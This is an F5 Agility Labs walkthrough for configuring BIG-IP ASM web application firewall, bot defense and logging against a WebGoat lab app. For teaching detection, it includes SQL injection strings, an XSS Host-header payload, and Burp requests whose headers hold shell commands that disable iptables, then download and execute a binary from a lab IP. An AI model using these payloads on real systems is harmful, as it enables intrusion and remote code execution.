F5 Agility Labs - Index¶

Objective¶

• Create a transparent rapid deployment policy.
• Enable application security logging profile.
• Validate that both the policy and logging profile are working.
• Configure Geolocation and review logs
• Configure IP Intelligence and review logs
• Estimated time for completion: 30 minutes.

1. RDP to the the jumpbox, launch Chrome (please be patient and don’t click the icon multiple times. Chrome can take a few seconds to launch), click the BIG-IP bookmark and login to TMUI. admin/f5DEMOs4u!

Please ensure that four virtual servers are configured before you begin:

• webgoat.f5demo.com_https_vs
• webgoat.f5demo.com_https_overlay_vs
• webgoat.f5demo.com_http_vs
• automation_vs

Create Your 1st WAF Policy¶

1. On the Main tab, click Security > Application Security > Security Policies. The Active Policies screen opens.
2. Click on the Polices List

1. Click on the Create New Policy button. The policy creation wizard opens.
2. Click on the Advanced button (Top-Right) to ensure that all the available policy creation options are displayed.
3. Name the security policy lab1_webgoat_waf and notice that the Policy Type is security.
4. Verify the Policy Template is set to Rapid Deployment Policy and notice it is a transparent security policy by default
5. Assign this policy to the webgoat.f5demo.com_https_vs from the Virtual Server drop down.
6. Confirm that the Application Language is set to UTF-8.
7. Accept the remaining default policy settings and click Create Policy to complete the policy creation process.

Your settings should reflect the figures below:

Verify WAF Profile is Applied to Virtual Server¶

1. In the configuration utility navigate to Local Traffic > Virtual Servers, click on webgoat.f5demo.com_https_vs.
2. Click on Policies under the Security tab at the top of the webgoat.f5demo.com_https_vs details menu.
3. In the Application Security Policy drop down menu, ensure Application Security Policy is Enabled... and the Policy: drop-down selection shows the lab1_webgoat_waf policy.
4. Notice Log Profile is set to Disabled.

Create Application Security Logging Profile¶

1. In the configuration utility navigate to Security > Event Logs > Logging Profiles then click on the plus icon.
2. Under the Logging Profile Properties section enter a Profile Name waf_allrequests, select the checkbox for Application Security.
3. Change the Configuration dropdown to Advanced under the Application Security section.
4. Select the Local Storage value for the Storage Destination configuration option.
5. Select the For all Requests value for the Response Logging configuration option.
6. Select the All requests value for the Request Type configuration option.
7. Click Finished.

Question: Would logging all requests and responses in a production environment be a best practice?

Answer: This adds 50% or more to the overhead on the log engine and would not typically be used outside of troubleshooting or high security environments that are appropriately sized.

Apply WAF Logging Profile¶

1. Under Local Traffic > Virtual Servers, click on webgoat.f5demo.com_https_vs.
2. Click on Policies under the Security tab at the top of the webgoat.f5demo.com_https_vs details menu.
3. In the Log Profile drop down menu, select Enabled...
4. Within the Available logging profiles menu, select waf_allrequests and then click the << arrows to move the logging policy to the Selected profile.
5. Click on the Update button to apply the policy.

Test WAF Policy¶

1. Open the Google Chrome browser and navigate to https://webgoat.f5demo.com/WebGoat/login You’ll find a toolbar shortcut for the webgoat link.

2. Login using f5student/f5DEMOs4u! credentials and interact with the webgoat application by browsing. Please refrain from experimenting with the site using any familiar “exploit” techniques.

3. On the BIG-IP, navigate to Security > Event Logs > Application > Requests.

4. Clear the default “Illegal Requests” filter by clicking the x.

   

5. Verify that requests are being logged by the WAF. You should be able to see both the raw client requests and server responses.

   

Geolocation¶

1. Open Security > Application Security > Geolocation Enforcement

2. Select all geolocations except the United States and N/A and move them to Disallowed Geolocations. Save and then Apply Policy.

   Note

   N/A covers all RFC1918 addresses. If you aren’t dropping them at your border router (layer 3), you may decide to geo-enforce at ASM (Layer 7) if no private IP’s will be accessing the site.

   

   Important

   Remember to click on the Apply Policy button (top right) to commit security policy changes.

3. Open Local Traffic > iRules and open the iRule titled webgoat_irule and review the code.

   1 2 3

   when HTTP_REQUEST { HTTP::header replace X-Forwarded-For "[expr (int(rand()*221)+1)].[expr int(rand()*254)].[expr int(rand()*254)].[expr int(rand()*254)]" }

   Note

   The above iRule is essentially scanning the HTTP headers and when it finds the X-Forwarded-For header it will replace the original source IP address with a randomized IP address. Since we are only manipulating the header this has no discernable affect on traffic flow. This iRule event, when HTTP_REQUEST, also fires before the ASM policy allowing this “trick” to work to demonstrate a global range of source IP addresses.

4. Open Local Traffic > Virtual Servers and click on webgoat.f5demo.com_https_vs. Go to the Resources horizontal tab and click on Manage in the iRules section.

   

5. Select the webgoat_irule, move it to the Enabled assignment and click Finished.

   

6. We now need to tell ASM to trust the XFF header by turning on the Trust XFF Header feature in the policy. Navigate to Application Security > Policy > Policy Properties and hit the dropdown for Advanced View. You can now check the box to Trust XFF Header and click Save then Apply Policy

You should not configure trusted XFF headers if you think the HTTP header may be spoofed, or crafted, by a malicious client.

1. Open a new Google Chrome Private Browsing window and connect to https://webgoat.f5demo.com/WebGoat/login. Login and select a few links on the WebGoat page.
2. Navigate to Security > Event Logs > Application > Requests.

Notice the geolocation detected and the presence of the X-Forwarded-For (XFF) in the Request details. Your actual client IP is still 10.1.10.28 however, because we trusted the XFF header and the iRule is randomizing the IP address placed in that header so ASM believes the request is from an external location. Depending on your network you may be leveraging a technology that creates a source NAT ahead of ASM. So by leveraging the XFF header, you can work around this and get contextual information about the client.

IP Reputation¶

Navigate to Security > Application Security > IP Addresses > IP Intelligence and click Enabled. For all categories select Alarm. Click on Save and then on Apply Policy.

There is an iRule that you will apply to the webgoat.f5demo.com_https_vs virtual server. This iRule will insert an X-Forward-For header with the value of a malicious United States source IP address. (Remember US is an allowed Geolocation)

1. Navigate to Local Traffic > Virtual Server > Virtual Servers List and select the

   webgoat.f5demo.com_https_vs virtual server.

2. Navigate to the Resources tab and click Manage for the iRules section.

3. Move the ip_rep_irule irule to the Enabled pane of the Resource Management configuration and Click Finished.

   

4. Open a new private browsing window in Google Chrome and use the bookmark for WebGoat to browse the site. Login and Click on one or two items.

5. Navigate to Security > Event Logs > Application > Requests and review the log entries. Since you configured IP Intelligence violations to alarm you will not need to change the filter. Select the most recent entry and examine why the request is illegal. What IP address did the request come from?

   

   Note

   For more information click on the violation hyperlink to see the IPI category that this IP belongs to. You can also click “All Details” at the top right.

   

Bonus: You can browse to http://www.brightcloud.com/tools/url-ip-lookup.php and look up the IP address in question for further information. There is also a tool to report IP addresses that have been incorrectly flagged.

Further, you can ssh to the BIG-IP and login with root / f5DEMOs4u! to run the iprep_lookup command, similar to:

[root@bigip1.Active.Standalone] config # iprep_lookup 8.33.184.254

iprep_lookup 8.33.184.254 opening database in /var/IpRep/F5IpRep.dat size of IP reputation database = 37026703 iprep threats list for ip = 8.33.184.254 is: bit 7 - Phishing

Create Policy¶

1. Open the Terminal application.

2. Run the following curl command to verify the site is loading without issue from this command line http utility. If the curl command is not successful (you are getting a “request rejected” error page), please let an instructor know.

   curl https://webgoat.f5demo.com/WebGoat/login -k -v | more

Input

Output

1. On the Main tab, click Security > DoS Protection > DoS Profiles. The DoS Profiles screen opens.

   

2. Click on the Create button.

3. Name the policy webgoat_DoS and click Finished to complete the creation of this DoS profile.

   

Configure Policy¶

1. Click the newly created webgoat_DoS profile listed under the Security > Dos Protection > DoS Profiles list.

2. The profile’s properties menu will be displayed initially. Click on the Application Security tab at the top of this menu to begin configuring the policy.

   

3. Under the Application Security tab > General Settings click the Edit link on the right-hand side of General Settings box and then check the Enabled check box for Application Security to enable the DoS profile and allow additional settings to be configured.

   

4. Select Proactive Bot Defense under the list of Application Security options for this DoS profile.

5. Click the Edit link on the right for the Application Security > Proactive Bot Defense menu and select Always from the drop-down menu for Operation Mode.

6. Set the Grace Period to 20 seconds. We will observe this in action shortly.

   

7. Notice that for Block requests from suspicious browsers the Block Suspicious Browsers setting is enabled by default.

8. At this point, you may want to take a moment and explore the other defaults that were turned on such as TPS based detection and BOT Signatures. Please don’t modify the defaults.

9. Click the Update button to complete the Proactive Bot Defense webgoat_DoS profile.

   

Apply Proactive Bot Defense Policy¶

1. Under Local Traffic > Virtual Servers, click on webgoat.f5demo.com_https_vs.

2. Click on Policies under the Security tab at the top of the webgoat.f5demo.com_https_vs details menu.

3. In the DoS Protection Profile drop down menu, select Enabled... and then select the webgoat_DoS for the profile.

4. Click on the Update button to apply the policy.

   

Create Bot Defense Logging Profile¶

1. Open a new tab for the Configuration Utility and navigate to:  Security > Event Logs > Logging Profiles then click the plus icon.

2. Enter a Profile Name bot-defense, select the checkbox for Bot Defense.

3. Under the Bot Defense logging section, select the checkboxes for the following: Local Publisher, Log Illegal Requests, Log Bot Signature Matched Requests and Log Challenged Requests.

4. Click Finished.

   Note

   You could have also modified the existing waf_allrequests logging profile and added BOT logging definitions.

   

Apply Bot Defense Logging Profile¶

1. Under Local Traffic > Virtual Servers, click on webgoat.f5demo.com_https_vs.

2. Click on Policies under the Security tab at the top

3. Within the Available logging profiles menu, select bot-defense and then click the << arrows to move the logging policy to the Selected profile.

4. Click on the Update button to apply the policy.

   Note

   You can associate multiple logging profiles with a given virtual server. F5 allows for an incredible amount of logging flexibility. Most commonly you would have DoS, Bot Defense and ASM Security Policy events logged to a centralized SIEM platform, but there may be additional logging requirements such as a web team that would be interested in Bot Defense logs solely, while the SIEM continues to receive the union of DoS, Bot Defense and ASM Security Policy events.

   

Test the Proactive Bot Defense Policy¶

1. From the command line execute the following command several times:

   curl https://webgoat.f5demo.com/WebGoat/login -k -v | more

2. Once the Grace Period of 20 seconds has expired you will see ASM start escalating the defense and start to return a javascript challenge.

This bot is getting shot down in flames!

Validate that the Proactive Bot Defense Policy is Working¶

1. Navigate to Security > Event Logs > Bot Defense > Requests.
2. Notice that the detected bot activity has been logged and is now being displayed for review.

1. Note the stated reason for the request being blocked. You may have to scroll to the right to see this reason. What was the stated reason?

BOT Signatures¶

1. Navigate to Security > DoS Protection > DoS Profiles

2. Click on the webgoat_DoS profile and then the Application Security tab to configure the policy.

3. Select Proactive Bot Defense under the list of Application Security options.

4. In the Application Security > Proactive Bot Defense section, click the Edit link for Operation Mode and then change the setting from Always to During Attack and click Update to complete the policy change.

   

5. Run cURL again: curl https://webgoat.f5demo.com/WebGoat/login -k -v | more

cURL is considered an HTTP Library tool and falls in the Benign Category.

Selectively Blocking BOT Categories¶

1. Under your webgoat_DoS profile in Application Security > Bot Signatures click on the Edit link for the Bot Signature Categories section.

   

2. Change the HTTP Library action from None to Block under the Benign Categories section and click Update to apply the policy changes.

   

3. Run cURL again: curl  https://webgoat.f5demo.com/WebGoat/login -k -v | more

   

   Whammo!!!… as soon as the BOT is revealed… the connection is dropped. The TLS doesn’t get established.

   Let’s say we actually DO want to allow cURL or another automated tool. We may have developers that rely on curl so let’s whitelist just that.

To Whitelist cURL:

1. Edit the Bot Signatures list and find curl. Move it to disabled signatures and click Update.

1. Run cURL again: curl https://webgoat.f5demo.com/WebGoat/login -k -v | more and you should be back in business. By now you should know the expected output.
2. Change HTTP Library to: Report and remove CURL from the whitelist.

1. Modify the webgoat_DOS Dos Profile operation Operation Mode to: Always and click Update.

cURL from Different Geolocations¶

1. Open Local Traffic > Virtual Servers and click on webgoat.f5demo.com_https_overlay_vs. Go to the Resources horizontal tab and verify that the iRule webgoat_overlay is applied. Freel free to check out the code in the iRule. This code and BIG-IP flexibility makes lab testing and simulations a breeze.

2. Modify the cURL command to point at the overlay virtual server and run several times: curl https://10.1.10.146/WebGoat/login -k -v | more
3. Review the event logs at Event Logs > Bot Defense You will now see geo-data for the BOT connection attempts.

4. Navigate to Security > Overview > Application > Traffic and review the default report elements. You can change the widget time frames to see more historical data.
5. Click Overview > Application > Traffic and override the timeframe to past year:

6. Take some time reviewing this screen and practice adding a new widget to see additional reporting elements:
7. Click the DoS tab at the top. In some time…The DOS Visibility Screen loads.

Although there have not been any L7 DoS attacks some of the widgets along the right contain statistics from the BOT mitigations. Change the time window (top left) from 5 minutes to “All Time” so see more data.

8. Click the Analysis tab at the top and review the graphs available to you.

9. Click the Custom Page tab at the top and review the graphs available to you.

Please feel free to add widgets and/or explore the ASM interface further.

This concludes the BOT Protection section of this lab guide!

Objective¶

• Attach the security policy to the appropriate virtual server.
• Validate that the security policy is working correctly.
• Implement HTTP Protocol Compliancy checks
• Explore Learning and Blocking
• Get familiar with ASM Event Logs
• Estimated time for completion 45 minutes.

Apply Security Policy¶

1. Remove the previously created DoS profile and bot logging profile.
2. Enable the lab1_webgoat_waf Security Policy

Your virtual should look like this

Burp’ing the App¶

In this section we are going to use the free/community version of an excellent DAST tool; Burp. Unfortunately, the free version does not actually allow DAST but it is still an excellent tool for packet crafting and that’s exactly how we are going to use it. We will be manually sending two different attack types to demonstrate the protocol compliance features of ASM.

HTTP Compliancy Check - Enforce Host Header¶

1. Open Burp by clicking the icon in the system tray at the top of the screen. (If it offers an update, please decline)

2. This will be a temporary project so click next to proceed and choose “Use Burp Defaults” on the next screen.
3. Click Start Burp and navigate to the Repeater tab once opened.
4. Under the Request tab paste in the following http request, remove any whitespace, or use the text version on the desktop, and click Go.

Attack 1: No Host Header - Run this 10 times.

POST https://webgoat.f5demo.com/WebGoat/login HTTP/1.1
User-Agent: R2D2
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

username=f5student&password=f5DEMOs4u!

5. A popup will appear asking for target details. Fill out the form as shown below.

Request and Response should look like this

6. Navigate to Security > Event Logs > Application > Requests and clear the illegal request filter. You should see these requests being logged as legal but you may want to implement policy per the “Good WAF Protection recommendations”, to not allow this since it is not RFC compliant HTTP/1.1

Learning and Blocking¶

The first place we always take a look when we want to implement a new control is under learning and blocking settings.

1. Navigate to Security > Application Security > Policy Building > Learning and Blocking Settings and look for HTTP Protocol Compliance failed

2. Notice the violation is set to learn only and is not enabled by default in a Rapid Deployment Policy. That is why the request was seen as legal and there was no alert in the event logs.
3. Since learning was on by default there must be a learning suggestion ready for us. Let’s go take a look.
4. We want to specifically find the learning suggestion for HTTP protocol compliance failed - HTTP Check: No Host header in HTTP/1.1 request
5. Navigate to Security > Application Security > Policy Building > Traffic Learning and click on the Magnifying Glass.

6. Under the Advanced Tab move the slider to the left so you can see alerts with a learning score of less than 5 and click Apply Filter

7. Note the action ASM is suggesting that you take - “Enable HTTP Check”

8. Click Accept Suggestion and then browse back to Security > Application Security > Policy Building > Learning and Blocking Settings > HTTP Protocol Compliance failed and notice that by accepting the learning suggestion ASM has now enabled the protection but it is still in learning mode so uncheck that manually.

9. Be sure you have clicked “Save” and Applied the Policy prior to proceeding.
10. Go back to Burp and run the attack again one or more times.

11. Browse to Security > Event Logs > Application > Requests on the BIG-IP GUI. Clear the Illegal Request option to view all requests received by the security policy. You should now see the alerts since we have enabled this compliancy check and turned off learning.

HTTP Compliancy Check - Bad Host Header Value¶

The Bad Host Header Value check is an HTTP Parser Attack and definitely something that should be implemented as part of Good WAF Security.

Risk: If we allow bad host header values they can be used to Fuzz web servers and gather system information. Successful exploitation of this attack could allow for the execution of XSS arbitrary code.

1. Navigate to Security > Application Security > Policy Building > Learning and Blocking Settings > HTTP Protocol Compliance failed and find Bad host header value Notice that by default this is also in learning mode but disabled by default in a Rapid Deployment Policy.

2. Uncheck the Learn box and Check the Enable box. Scroll up, click Save and Apply Policy.
3. Go back to Burp and under the Request tab paste in the following http request, remove any whitespace, or use the text version on the desktop, and click Go.

Attack 2: XSS in HOST Header

POST https://webgoat.f5demo.com/WebGoat/login HTTP/1.1
User-Agent: BB8
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Host: <script>alert(document.cookie);</script>

username=f5student&password=f5DEMOs4u!

4. Browse to Security > Event Logs > Application > Requests and review the alert for this attempted attack. Note the alert severity is much higher (4) for this attack type due to the risk it presents.

5. Click Export Request and review the detailed report. Notice the XSS alerts and how they are currently still in staging. We will cover this in the next module.

HTTP Compliancy Check - Multiple Host Headers¶

Description - Examines requests to ensure that they contain only a single “Host” header. This is an example of an HTTP Request Smuggling Attack

Risk - An attacker may try to evade security checks by confusing ASM and/or application servers as to which hostname is being accessed.

Example - The website may be accessed by non-browser clients attempting to bypass security gateways.

Order of Operations

1. Disable learning and Enable the Compliancy Check for Multiple Host Headers in learning and blocking settings.
2. Use BURP to perform the Attack

POST https://webgoat.f5demo.com/WebGoat/login HTTP/1.1
User-Agent: BB8
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Host: LordVader
Host: LukeSkywalker

username=f5student&password=f5DEMOs4u!

3. Review Event Logs to ensure the attack is being mitigated. Notice the alert level is lower for this attack type due to less risk than a potential XSS as seen in the previous exercise.

This concludes module 2

Objective¶

You will explore the blocking policy and settings. The blocking policy used for this lab will focus on negative security using attack signatures.

Task 1 - Creating Blocking policy¶

1. Go to Security > Application Security > Security Policies and click the Plus sign.
2. At the far right change the setting to Advanced

Fill out the following -

• Policy name - Blocking_Policy
• Description - leave blank
• Policy type - Security
• Policy Template - Rapid Deployment Policy
• Virtual Server - webgoat.f5demo.com_https_vs (HTTPS)
• Learning Mode - Manual
• Enforcement Mode - Blocking
• Application Language - Unicode (utf-8)
• Server Technologies - (leave blank) (we will cover this option in a later exercise)
• Signature Staging - Disable (in a production environment consider leaving this set at 7 days)
• Policy is Case Sensitive - Disabled
• Differentiate between HTTP/WS and HTTPS/WSS URLs - Enabled

3. Click Create Policy
4. Go to Security > Application Security > Policy Building > Learning and Blocking settings
5. Make sure Blocking_Policy is selected in the Current edited security policy.
6. At the far right across from General Settings ensure Advanced is selected.

7. Click on Blocking Settings

8. Click the Block Check box at the top of to select all then click it again to clear Block from all entries. Then click Change.

9. Under Policy Building Settings expand the Attack Signatures options

10. Click on the Change button at the far right to bring up the Select Policy Attack Signature sets and choose to add both High Accuracy signature sets and SQL Injection Signatures then click Change.

11. Ensure that the blocking checkbox has been unchecked for all signatures.

12. You will click Save and Apply Policy at this point.

Task 2 - Tuning policy¶

1. Go to Security > Application Security > Policy Building > Learning and Blocking Settings
2. Under the General Settings you will see various settings for Enforcement, Learning Mode and Learning Speed. For this lab the policy should be set to Blocking with Manual Learning and a learning speed of fast.

3. Under Policy Building Process you will find there are settings for Loosen Policy and Tighten Policy.

Loosen Policy would be used when there have been changes to the application. Policy Builder will identify legitmate traffic based on repeated behavior from a sufficient number of sources that you set. Tighten Policy only applies when you are using automatic learning. The policy builder will refine the policy until the number of security policy changes has been reached. Track Site Changes only applies to automatic learning. If enabled this setting allows Policy Builder to discover changes to a web application. Policy builder logs the changes and temporarily loosens the policy to make suggestions and adjustments.

4. When you have made changes to this page make sure to always Save and Apply the policy.

Overview¶

In this exercise you will attack the vulnerable application. Then apply the blocking policy and observe the results.

Task 1 - Exploring an attack¶

1. Before we begin clear all previous logs by going to Security > Event Logs > Application > Requests. Click the checkbox to select all. From the drop down that appears to the right click the down arrow and select Delete all requests.

2. Within Chrome click on the three dots in the upper right and choose New Incognito window

3. Click on the Webgoat bookmark from the bookmark bar to get to the WebGoat application
4. At the username prompt try entering a SQL query for the username and the letter a for the password

or 1='1

5. Return to the BIG-IP Go to Security > Event Logs > Application > Requests.
6. You will find an entry there for the login page login attempt.

7. Return to the WebGoat application and login with credentials f5student and f5DEMOs4u!
8. From the left menu go to Injection Flaws –> SQL Injection and select exercise 7

9. In the account name field try an injection attack

%' or 1='1

10. You will be able to see a wealth of information

11. Return to the BIG-IP Go to Security > Event Logs > Application > Requests, clear the illegal filter and review the alert.

12. Time to Block! Go to Security > Application Security > Policy Building > Learning and Blocking settings

13. Click on the carrot next to Attack Signatures and click on the Block check box at the top (this will turn on blocking for all the signatures). Make sure signature staging is still set to diabled then click Save and Apply Policy. Your policy should now look like this.

14. Make sure to save and apply policy.

15. On the BIG-IP navigate to Security > Event Logs > Application > Requests
16. Open a New Incognito Window in Chrome
17. Click the bookmark for Login page
18. At the username prompt try entering a SQL query for the username and the letter a for the password

or 1='1

19. Repeat steps 7-9

19. Return to the ASM Event Logs and you should see both attacks as shown here

20. Click on the log entry for /webgoat/login and examine the request.
21. Change from Basic to All Details and will see more details regarding the request

22. Click on Attack signature detected

Task 2 - ZAP THE APP!¶

1. Open ZAP Proxy by locating the icon on the top bar - This will take several seconds to launch so please do not multi-click.

2. Select No, I do not want to persist this session at this moment in time.

3. In the upper left corner of ZAP, change the mode to ATTACK and accept the popup. Enter the following URL in to the URL to Attack field and click Attack:

https://webgoat.f5demo.com/WebGoat/login

4. Return to the BIG-IP and examine the Event Logs.
5. Take a look at the various attacks conducted by ZAP and blocked by ASM. Examine the log entries and what signature prevented the attack from occurring. You can explore the documentation on the signature as well.

What additional functions can you turn on to prevent some of the other attacks? How would you turn these on? Would this tool have even worked if Proactive Bot Defense was enabled? Answer: Absolutely not and your ASM even logs wouldn’t be littered by these automated attempts that can quickly grow into the millions per day.

Bonus¶

Go to Security > Application Security > Policy Building > Traffic learning

Explore the Learning suggestions and Traffic Summary page.

Locate the Enforcement Readiness section.

Click on the numbers. This will take you to the learning and blocking settings page. This shows you the settings that could be turned on to better protect your application.

To the left you will find a number of learning suggestions. As traffic traverses your application these learning suggestions will eventually reach higher percentages.

Click on a learning suggestion to explore. You will learn how many events have been triggered and give you the option to accept the suggestion, delete the suggestion or ignore.

Objective¶

In this exercise we will examine server technologies and custom signature sets. Server Technologies function allows you to automatically discover server-side frameworks, web servers and operating systems. This feature helps when the backend technologies are not well known. The feature can be enabled to auto detect. You can also add the technologies that you know. Creating custom signature sets allows you to define what signature groupings work best for your needs. In this exercise we will explore both.

Task 1 - Server Technologies¶

1. Go to Security > Application Security > Policy Building > Learning and Blocking Settings
2. Locate Server Technologies and expand the option. Click Enable Server Technology Detection

3. Make sure to save and Apply Policy.

4. Click on the diagonal arrow to the left of the Enable Server Technology Dectection. This will open the Server Technologies configuration which can also be found by going to Security > Application Security > Policy > Server Technologies

5. Click on the drop down box and you will find a list of various server-side technologies to choose from.

6. Choose Apache Tomcat from the list. You will be prompted that Java Servlet/JSP will also be added. Click okay

7. Choose Unix/Linux from the list and click ok. Make sure to click Save and Apply Policy.
8. Navigate to Security > Application Security > Policy Building > Learning and Blocking Settings
9. Expand Attack Signatures and you should now see the additional server technology signature sets enabled and in blocking.

10. Time to launch some framework attacks.
11. Back in BURP navigate to the repeater tab and adjust the payload to the following and hit go:

POST https://webgoat.f5demo.com/WebGoat/login HTTP/1.1
User-Agent: ImperialProbeDroid
Pragma: no-cache
Cache-Control: no-cache
Content-Type: /etc/init.d/iptables stop; service iptables stop; SuSEfirewall2 stop; reSuSEfirewall2 stop; cd /tmp; wget -c https://10.1.10.145:443/7; chmod 777 7; ./7;
Content-Length: 38
Host: DarthMaul

username=f5student&password=f5DEMOs4u!

12. You should receive the Request Rejected Page as output.
13. Run a second framework attack

POST https://webgoat.f5demo.com/WebGoat/login HTTP/1.1
User-Agent: IG88
Pragma: no-cache
Cache-Control: no-cache
Content-Type: cd /dev/shm; wget http://10.1.10.145:443/lmydess; chmod 777 lmydess; ./lmydess;
Content-Length: 38
Host: TheEmpireDidNothingWrong

username=f5student&password=f5DEMOs4u!

14. Again, you should receive a Request Rejected page as output as shown here:

15. Navigate to the Application Security Event Logs and review the alerts. Notice they are of different severity but how do we know that these were actually framework related signatures?

16. Click on the Attack Signature Detected hyperlink and then click on the little blue “i” next to the signature for more information.

Task 2 - Create Custom Signature Set¶

1. Go to Security > Options > Application Security > Attack Signature > Attack Signature Sets
2. Click on Create

Fill out the following -

• Name - my_signature_set
• Type - filter-based
• Default Blocking Actions - leave Learn/Alarm/Block checked
• Assign To Policy by Default - Uncheck this box (in production enabling this feature ensures this signature set is assigned to all newly created policies)
• Signature Type - Request
• Attack Type - All
• Systems - Unix/Linux, Apache, Apache Tomcat, Java Servlets/JSP <- Move to the left.
• Accuracy - All
• Risk - Greater Than Equal To High
• User-defined - All
• Update Date - All

3. Click on Create. Now you have a created your own custom signature set of high risk signatures with server side technologies.

4. Navigate to Security > Application Security > Policy Building > Learning and Blocking Settings
5. Expand Attack Signatures. Click on Change and check your newly created signature set. Cick Change.

6. Click Save and Apply policy
7. Use BURP again with either of the two previous attacks and ensure your new custom signature set is blocking them. Examine the event logs.

Objective¶

In this exercise we will examine the response pages, event logs and briefly look at utilizing HTTP capture tools

Task 1 - Response Pages¶

1. Go to Security > Application Security > Policy > Response pages

2. Within this area you can add various response pages for different request. These pages can be modified by editing the response body. On the Default change the Response Type to “Custome Response”. This will open up the Response Body to editing.

3. Edit the Response as follows:

<html><head><title>Request Rejected</title></head><body>You have requested a site that is unavailable. Please contact customer service at 888-555-1212 and supply the following information:<br><br>Support ID: <%TS.request.ID()%><br><br><a href='javascript:history.back();'>[Go Back]</a></body></html>

4. Click on the Show button

5. Click Save and Apply Policy. And click OK.

6. Open a New Incognito Window in Chrome and navigate to the Webgoat login page
7. Try entering a sql injection.

or 1='1

You should have received a reponse page that you customized. Make note of the Support ID before moving on to the next task.

Task 2 - Event logs¶

1. On the BIG-IP return to the Security > Event Log > Application > Requests
2. Click on the magnifying glass and that will open the log filter. From here you can enter the Support ID you received from the preceeding task and select Apply Filter.

2. Select the alert and at the top box you will find a button to open the request in a separate tab

3. Click on Attack signature detected

Observe the detected attack, the expected parameter, and what the applied blocking settings were. Also note that the signature used to block this attack has been identified. By clicking on the “i” next to the name you can get further information on the signature as well as a link to other documentation.

4. Examine the http body information. Do you see your attack?

5. Observe the Source IP, Accept Status and Support ID.

6. Close this tab and return to the BIG-IP Event Logs. Open the filter again, remove the support ID, and click on Illegal and Not Blocked. Apply Filter

7. Locate an entry and observe the Attack Type and Violation Rating

8. Observe in the top left of the log you will find the Blocking Setting that could be enabled to block this request.

9. Where would you find this setting to enable? What happens when you click on the link?
10. Observe that the link will give you more information on which piece of HTTP Protocol Compliance will prevent this attack.

11. Navigate to Security > Application Security > Policy Building > Learning and Blocking Settings and expand HTTP Protocol Compliance failed

12. Do you see the setting that would prevent this attack? How would you enable blocking for HTTP protocol compliance?

Hint

Overview¶

F5 offers a number of templated installations for various applications. For generic web based applications you can find the https iapp template. As an update to this template we have added security functions such as firewall and web application firewall policies that can be deployed with the application. In this lab we will focus on using the basic http iApp template. If you are interested in integrating similiar templates in to your automation and orchestration strategies please follow this training with the Application Services Lab located here:

http://clouddocs.f5.com/products/extensions/f5-appsvcs-extension/3/

Task 1 - Deploy iApp with Security¶

1. Go to iApps > Application Services then click on Create

2. Give the application a name
3. In the drop down box for template choose f5.http.v1.3.Orc3 (also choose Advanced just above)

4. New information appears below that will allow you to configure an application with web application security. In the network section answer Yes, use the new profiles.

5. In the SSL Encryption section select Terminate SSL from clients, plaintext to servers (SSL Offload)

6. In the Application Security Manager section select Yes, use ASM and create a new ASM policy. Also select the waf_allrequests logging profiles

7. In the Virtual Server and Pool section give the IP Address, an FQDN and select the webgoat_pool

8. Click finished and have patience while the application objects are built

9. Open a new icognito window in Chrome and click the app1 bookmark in the browser bar. When you get the SSL warning click Advanced and Proceed

10. Login with f5student and f5DEMOs4u!
11. You can try surfing around the application. Try an injection attack.
12. Return to the BIG-IP. Go to Security > Application Security > Policy Building > Traffic Learning Select the new policy built by the iApp web_app_policy

Do you see learning suggestions? (Hint - there are none yet)

13. Go to Security > Application Security > Policy Building > Learning and Blocking Settings
14. Click the carrot by Attack Signatures then Change at the far right to add more signatures.
15. Choose the High Accuracy Signature sets and SQL injection.

16. Click Save and Apply Policy

Task 2 - Attack Application¶

1. Within Chrome choose New Incognito window

2. Click on the App1 bookmark to get to the WebGoat application
3. At the username prompt try entering a sequel query for the username and the letter a for the password

or 1='1

4. Return to the BIG-IP Go to Security > Event Logs > Application > Requests and clear the illegal requests filter.
5. You will find an level 3 alert there for the login page.

6. Return to the WebGoat application and login with credentials f5student and f5DEMOs4u!
7. From the left menu go to Injection Flaws –> SQL Injection and select exercise 7

8. In the account name field try an injection attack

%' or 1='1

9. Return to the BIG-IP Security > Event Logs > Application > Requests
10. You will need to refresh. Locate the attacks. Is the policy in transparent or blocking? How can you change the policy to mitigate against this attack?

We hope you enjoyed this session! Please leave us a great review and come again next year!! The End!¶

Connect to the lab environment¶

1. From the jumphost (client01), launch Chrome or firefox, click the BIG-IP bookmark and login to TMUI. admin/f5DEMOs4u!

Configure a DOS Profile¶

1. From the F5 UI go to Security > Dos Protection > DoS Profiles and click Create
2. Name the profile BotsLab and click Finished
3. Click on the BotsLab profile and select the Application Security tab at top.
4. Click where it says Disabled and select the checkbox to Enable Application Security
5. Disable TPS-Based Detection on the left column by setting Blocking to Off.
6. Enable Bot Signatures on the left column by clicking Disabled and check the Enabled box.
7. Click Update to save the profile changes.

Create a Bot Logging Profile¶

1. Go to Security > Event Logs > Logging Profiles and click Create
2. Name the profile BotsLogger and check Bot Defense
3. Check all the boxes under “Request Log” and leave remote publisher to None
4. Click Finished to save the profile

Assign DoS and Logging Profile to Virtual Server¶

1. Go to Local Traffic > Virtual Servers > click on asm_vs Virtual
2. At the top, click on the Security Tab > Policies
3. For DoS Protection Profile, select BotsLab
4. For Log Profile, select “BotsLogger” to add it to list of selected logging profiles, leaving “Log Illegal Requests”
5. Click Update to save changes

Simulate Bot Activity and Review Logs¶

1. On the client01 jumphost, open a terminal app to get a cli prompt
2. Run the following apache bench command:

ab -c 10 -n 10 -r http://10.1.10.145/

3. Review the Security Logs at Security > Event Logs > Bot Defense > Requests
4. Did requests succeed or fail? Why or why not?
5. Run the attack using a custom user-agent (if you copy and paste the command below, be careful of the double-quote conversion):

ab -c 10 -n 10 -r -H "User-Agent: Agilitybot" http://10.1.10.145/

6. Review the Bot Defense request logs again to determine if the attack was mitigated. Why did the attack succeed?

Add a custom bot signature to your BotsLab profile¶

1. Go to Security > Options > DoS Protection > Bot Signatures List and click Create
2. Name the signature Agilitybot and populate the following:

• Category: Dos Tool
• Rule:  User-agent > contains > Agilitybot
• Risk: Medium

3. Click Create

4. Rerun the attack from step 5 of “Simulate Bot Activity and Review Logs” and review the request logs. Was the attack mitigated?

ab -c 10 -n 10 -r -H "User-Agent: Agilitybot" http://10.1.10.145/

5. Remove the DoS Protection Profile and the BotsLogger profile from the asm_vs, as shown below, before moving on.

Connect to the Lab Environment¶

1. On the jumphost, use a browser to reach the BIG-IP and login as admin/password
